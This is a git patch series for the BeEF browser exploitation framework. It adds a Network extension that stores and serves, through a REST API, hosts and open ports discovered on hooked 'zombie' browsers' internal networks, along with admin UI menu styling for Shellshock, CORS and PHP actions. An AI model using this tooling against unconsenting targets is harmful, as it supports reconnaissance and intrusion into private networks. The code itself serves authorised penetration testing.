From ceab91d53ab6dbc9e57e4e356f2ca09235083248 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 18 Jan 2015 13:15:45 +0000 Subject: [PATCH 01/19] Add Network extension --- Gemfile | 1 + extensions/network/api.rb | 24 +++ extensions/network/config.yaml | 11 ++ extensions/network/extension.rb | 27 +++ extensions/network/models/network_host.rb | 31 ++++ extensions/network/models/network_service.rb | 30 ++++ extensions/network/network.rb | 13 ++ extensions/network/rest/network.rb | 169 +++++++++++++++++++ 8 files changed, 306 insertions(+) create mode 100644 extensions/network/api.rb create mode 100644 extensions/network/config.yaml create mode 100644 extensions/network/extension.rb create mode 100644 extensions/network/models/network_host.rb create mode 100644 extensions/network/models/network_service.rb create mode 100644 extensions/network/network.rb create mode 100644 extensions/network/rest/network.rb diff --git a/Gemfile b/Gemfile index a873eeb9e..11297d839 100644 --- a/Gemfile +++ b/Gemfile @@ -41,6 +41,7 @@ gem "msfrpc-client" # Metasploit Integration extension gem "rubyzip", ">= 1.0.0" gem "rubydns", "0.7.0" # DNS extension gem "geoip" # geolocation support +gem "dm-serializer" # network extension # For running unit tests if ENV['BEEF_TEST'] diff --git a/extensions/network/api.rb b/extensions/network/api.rb new file mode 100644 index 000000000..078f46010 --- /dev/null +++ b/extensions/network/api.rb @@ -0,0 +1,24 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module Network + + module RegisterHttpHandler + + BeEF::API::Registrar.instance.register(BeEF::Extension::Network::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') + + # Mounts the handler for processing network host info. + # + # @param beef_server [BeEF::Core::Server] HTTP server instance + def self.mount_handler(beef_server) + beef_server.mount('/api/network', BeEF::Extension::Network::NetworkRest.new) + end + + end + end + end +end diff --git a/extensions/network/config.yaml b/extensions/network/config.yaml new file mode 100644 index 000000000..36323e423 --- /dev/null +++ b/extensions/network/config.yaml @@ -0,0 +1,11 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + extension: + network: + name: 'Network' + enable: true + authors: ["bcoles"] diff --git a/extensions/network/extension.rb b/extensions/network/extension.rb new file mode 100644 index 000000000..d3c4d17f7 --- /dev/null +++ b/extensions/network/extension.rb @@ -0,0 +1,27 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Extension +module Network + + extend BeEF::API::Extension + + @short_name = 'network' + @full_name = 'Network' + @description = '' + +end +end +end + +require 'extensions/network/network' +require 'extensions/network/models/network_host' +require 'extensions/network/models/network_service' +require 'extensions/network/api' +require 'extensions/network/rest/network' + +require 'dm-serializer' + diff --git a/extensions/network/models/network_host.rb b/extensions/network/models/network_host.rb new file mode 100644 index 000000000..0de5ce0d4 --- /dev/null +++ b/extensions/network/models/network_host.rb @@ -0,0 +1,31 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module Models + # + # Table stores each host identified on the zombie browser's network(s) + # + class NetworkHost + + include DataMapper::Resource + storage_names[:default] = 'network_host' + + property :id, Serial + + property :hooked_browser_id, Text, :lazy => false + property :ip, Text, :lazy => false + property :hostname, String, :lazy => false + property :type, String, :lazy => false # proxy, router, gateway, dns, etc + property :os, String, :lazy => false + property :mac, String, :lazy => false + property :cid, String, :lazy => false # command id or 'init' + + end + + end + end +end diff --git a/extensions/network/models/network_service.rb b/extensions/network/models/network_service.rb new file mode 100644 index 000000000..c806b2aa1 --- /dev/null +++ b/extensions/network/models/network_service.rb @@ -0,0 +1,30 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module Models + # + # Table stores each open port identified on the zombie browser's network(s) + # + class NetworkService + + include DataMapper::Resource + storage_names[:default] = 'network_service' + + property :id, Serial + + property :hooked_browser_id, Text, :lazy => false + property :proto, String, :lazy => false + property :ip, Text, :lazy => false + property :port, String, :lazy => false + property :type, String, :lazy => false + property :cid, String, :lazy => false # command id or 'init' + + end + + end + end +end diff --git a/extensions/network/network.rb b/extensions/network/network.rb new file mode 100644 index 000000000..9a8eed9e2 --- /dev/null +++ b/extensions/network/network.rb @@ -0,0 +1,13 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Extension +module Network + + +end +end +end diff --git a/extensions/network/rest/network.rb b/extensions/network/rest/network.rb new file mode 100644 index 000000000..07096aaca --- /dev/null +++ b/extensions/network/rest/network.rb @@ -0,0 +1,169 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module Network + + # This class handles the routing of RESTful API requests that interact with network services on the zombie's LAN + class NetworkRest < BeEF::Core::Router::Router + + # Filters out bad requests before performing any routing + before do + config = BeEF::Core::Configuration.instance + @nh = BeEF::Core::Models::NetworkHost + @ns = BeEF::Core::Models::NetworkService + + # Require a valid API token from a valid IP address + halt 401 unless params[:token] == config.get('beef.api_token') + halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) + + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + # Returns the entire list of network hosts for all zombies + get '/hosts' do + begin + hosts = @nh.all + count = hosts.length + + result = {} + result[:count] = count + result[:hosts] = hosts.to_json + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving host list (#{e.message})" + halt 500 + end + end + + # Returns the entire list of network services for all zombies + get '/services' do + begin + services = @ns.all + count = services.length + + result = {} + result[:count] = count + result[:services] = services.to_json + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving service list (#{e.message})" + halt 500 + end + end + + # Returns all hosts given a specific hooked browser id + get '/hosts/:id' do + begin + id = params[:id] + + hosts = @nh.all(:hooked_browser_id => id) + count = hosts.length + + result = {} + result[:count] = count + result[:hosts] = hosts + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})" + halt 500 + end + end + + # Returns all services given a specific hooked browser id + get '/services/:id' do + begin + id = params[:id] + + services = @ns.all(:hooked_browser_id => id) + count = services.length + + result = {} + result[:count] = count + result[:services] = services + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})" + halt 500 + end + end + + # Returns a specific host given its id + get '/host/:id' do + begin + id = params[:id] + + host = @nh.all(:id => id) + raise InvalidParamError, 'id' if host.nil? + halt 404 if host.empty? + + host.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving host with id #{id} (#{e.message})" + halt 500 + end + end + + # Returns a specific service given its id + get '/service/:id' do + begin + id = params[:id] + + service = @ns.all(:id => id) + raise InvalidParamError, 'id' if service.nil? + halt 404 if service.empty? + + service.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving service with id #{id} (#{e.message})" + halt 500 + end + end + + # Raised when invalid JSON input is passed to an /api/network handler. + class InvalidJsonError < StandardError + + DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/network handler' + + def initialize(message = nil) + super(message || DEFAULT_MESSAGE) + end + + end + + # Raised when an invalid named parameter is passed to an /api/network handler. + class InvalidParamError < StandardError + + DEFAULT_MESSAGE = 'Invalid parameter passed to /api/network handler' + + def initialize(message = nil) + str = "Invalid \"%s\" parameter passed to /api/network handler" + message = sprintf str, message unless message.nil? + super(message) + end + + end + + end + + end + end +end From 631bc1e9ef75711666e8febd3e4055c88368d0cb Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 18 Jan 2015 13:19:31 +0000 Subject: [PATCH 02/19] Add Network panel to admin UI --- extensions/admin_ui/api/handler.rb | 2 +- extensions/admin_ui/media/css/base.css | 40 ++ .../admin_ui/media/images/icons/cors.png | Bin 0 -> 1514 bytes .../admin_ui/media/images/icons/magnifier.png | Bin 0 -> 13582 bytes .../admin_ui/media/images/icons/network.png | Bin 0 -> 46060 bytes .../admin_ui/media/images/icons/php.png | Bin 0 -> 1186 bytes .../media/images/icons/shellshock.png | Bin 0 -> 1844 bytes .../media/javascript/ui/panel/ZombieTab.js | 26 +- .../ui/panel/tabs/ZombieTabNetwork.js | 503 ++++++++++++++++++ 9 files changed, 558 insertions(+), 13 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/cors.png create mode 100644 extensions/admin_ui/media/images/icons/magnifier.png create mode 100644 extensions/admin_ui/media/images/icons/network.png create mode 100644 extensions/admin_ui/media/images/icons/php.png create mode 100644 extensions/admin_ui/media/images/icons/shellshock.png create mode 100644 extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index 49deb4074..5b827d099 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -33,7 +33,7 @@ module API #NOTE: order counts! make sure you know what you're doing if you add files esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js) ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js) - panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js) + panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js) global_js = esapi + ux + panel diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index 7c0c8c046..37422083f 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -93,6 +93,46 @@ padding-top: 3px; } +/* + * Network Panel + ****************************************/ +.network-host-ctxMenu-host { + background-image: url(../images/icons/pc.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + +.network-host-ctxMenu-network { + background-image: url(../images/icons/network.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + +.network-host-ctxMenu-fingerprint { + background-image: url(../images/icons/magnifier.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + +.network-host-ctxMenu-cors { + background-image: url(../images/icons/cors.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + +.network-host-ctxMenu-shellshock { + background-image: url(../images/icons/shellshock.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + +.network-host-ctxMenu-php { + background-image: url(../images/icons/php.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + + /* * Ext.beef.msg ****************************************/ diff --git a/extensions/admin_ui/media/images/icons/cors.png b/extensions/admin_ui/media/images/icons/cors.png new file mode 100644 index 0000000000000000000000000000000000000000..de2dbfb8d1e44a1739bc6187e11d1671d3e9eee3 GIT binary patch literal 1514 zcmV7Aht|RHOz~T1geU%(lDxzUS$^5BFs++2w-zz}aDE=Y7uSe810m&t6m& zpzu<$M=SBdi$(3~S*<<2YjxG?zHGCxVt23pbnuWCJ3AF9FdBv4-rjVscCT8aD_-id zoJnsvJ6EpKAAUTjD~rYSS#nq~wou4Z>{`W>OWR2n!a0YC@Sm`;O`Eqe?|}ypky87T zC1ZdQU@R!kc|dJmK5yx*_ud1b8c5d!MpA&h_ui8CtnRB!Hh}*N=WHIExAZgTzIh;& z+S?5xp8}?RE|<5>B)tKN1Oq@YuB-wTLTjp;-Ff!+EQSI0zq^g*IdcJnXi!z0cc7X= zpz2A}sX9VX(#Qh*?~X$V1^|L{Vj!9M*0#O(0kiL&1Ij@SiW3K-ndbu{W~ZsA8fpOu z*|3FC7PZW0P2UE*&*Pm($f)C#Tu?szXgjl;=hDA*Gv*v(;334x^9xwJZUebo4)3L^ zfSdqel-UpgRY@M+$l`?ycy;63#uBL{qOhV)DmO?km`?X&b*0PpP5o16sl`H1;1f6g7}dQ(jiKumJLdaEIU+BM*FsL?6eaCn?}RKZ7c`Sij;JIw%?d?@fw`4=Ql=2$^V z_JZ0Xc=4d#EJ!VU?Txo66zn}f2%)A0VOJvwu&LcrU1< z(T|Z|t=!&VzswnY_!V zeL>$A@C7*U>`CBFSJc69d5{nZ-q{_3;6b$pKplv-wzj4N`@SMy$lJ{(4v>i09pm}w zU$gEVIRC84;IJkRN*pCtwOiCVhxZPxX+eDm+S=Nix>l|nm^ArD;wVB@4MJTB5pX^R zpP>(fgcw`gA)r#X2K4w#epf)Ze?g_2q%(WWDM(3bQHi82#W38SIGqGSWqA0 zXA$9yv1d@}1+m^J&a(oj?+1;BZSR6TbB3Wz{C3>tv98gQWLG1OB906|UK)I|k?`;%OODgi|P z52BO?hlnERsVk8EFG>J)Wo{XNJ3W0n5KY$yl{gunX@7S%E&!(qplSgKfe{|Ou9t_d zFM!JEw}hzOh~+Sh7_1fJ=~E!BekGJNoWse-5ukjs0LOvvfkT{pl&g987k*5?AM8Cr?*IS* Q07*qoM6N<$f-yBQFx8X9@Bjb+ literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/images/icons/magnifier.png b/extensions/admin_ui/media/images/icons/magnifier.png new file mode 100644 index 0000000000000000000000000000000000000000..b41a45bae487597dec23db1a5b4488808e34c48d GIT binary patch literal 13582 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 